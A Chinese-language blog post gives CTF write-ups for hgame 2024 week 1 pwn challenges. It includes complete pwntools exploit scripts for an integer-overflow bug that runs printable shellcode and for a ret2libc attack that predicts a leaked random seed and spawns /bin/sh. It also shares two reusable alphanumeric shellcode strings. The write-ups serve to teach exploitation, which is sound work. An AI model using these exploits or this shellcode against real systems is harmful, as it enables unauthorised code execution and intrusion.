wyxhhh

[pwn]hgame2024 week1 WriteUp

1.EzSignIn

签到题,直接nc

2.ezshellcode

checksec,保护全开64位程序

丢IDA

跟进一下myread函数

image-20240129210851314

可以看到会执行写入的内存,但有两个点

一是长度限制,可以通过整型溢出绕过,二是myread函数会检查写入的内容,必须为字母或数字

看到题目就已经猜到了,这里写入可见字符shellcode

#exp
from pwn import *

p=remote("139.196.200.143",32346)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
#一开始直接输入打不出来,仔细看了看应该是因为myread会检查v5个字符,整型溢出得到的v5写不满会导致exit,因此加了一个补齐
payload=shellcode.ljust(65545,'a')
p.sendline(b'-1')
p.sendline(payload)

p.interactive()

分享两个可见字符shellcode,都可以在网上找到

64位:
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
32位:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
3.Elden Random Challenge

checksec,64位程序

image-20240130134051287

IDA反汇编

image-20240130134141091

image-20240130134157449

首先要求输入一个name,然后需要连续输入99个随机数,进入myread函数存在栈溢出

只要调用ctpyes库模拟随机数,然后栈溢出ret2libc就行了

其中格式化字符串%s打印buf时可以泄露seed内容,查看栈空间可以看出来

image-20240130134649374

buf和seed相差0x12-0x4=0xE,seed占四个字节

(这里我一开始打算直接srand(time(0)撞时间戳,但是一直存在误差,所以这样做))

接下来就可以ret2libc了,注意堆栈平衡

附完整exp

import struct
from pwn import *
import ctypes
#hgame
p=remote("47.100.137.175",32537)

elf=ELF("./vuln")
libc=ELF("./libc.so.6")

myread_addr=elf.sym["myread"]
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]

random_libc = ctypes.CDLL("./libc.so.6")
random_libc.srand.argtypes = [ctypes.c_uint]

pop_rdi_ret=0x401423
ret_addr=0x40101a

payload=b'a'*0xE
p.sendafter(b'tell me thy name.',payload)
p.recvuntil(b'a'*0xE)
seed=struct.unpack("<i",p.recv(4))[0]	#接受到四个字节,转换成整数形式,注意小端序
print(seed)
random_libc.srand(seed)

for i in range(99):
    result=random_libc.rand()%100+1
    #print(str(result))
    p.send(p64(result))		#注意输入数字时read函数读取八个字节,这里采用p64形式,sendline输入的'\n'也会有影响

payload=cyclic(0x38)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(myread_addr)
p.sendline(payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

base_addr = puts_addr - libc.sym["puts"]
system_addr = base_addr + libc.sym["system"]
binsh_addr = base_addr + next(libc.search(b'/bin/sh\x00'))

payload=cyclic(0x38)+p64(ret_addr)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload)

p.interactive()

posted on 2024-02-06 12:50  wyx0404  阅读(180)  评论(1编辑  收藏  举报

导航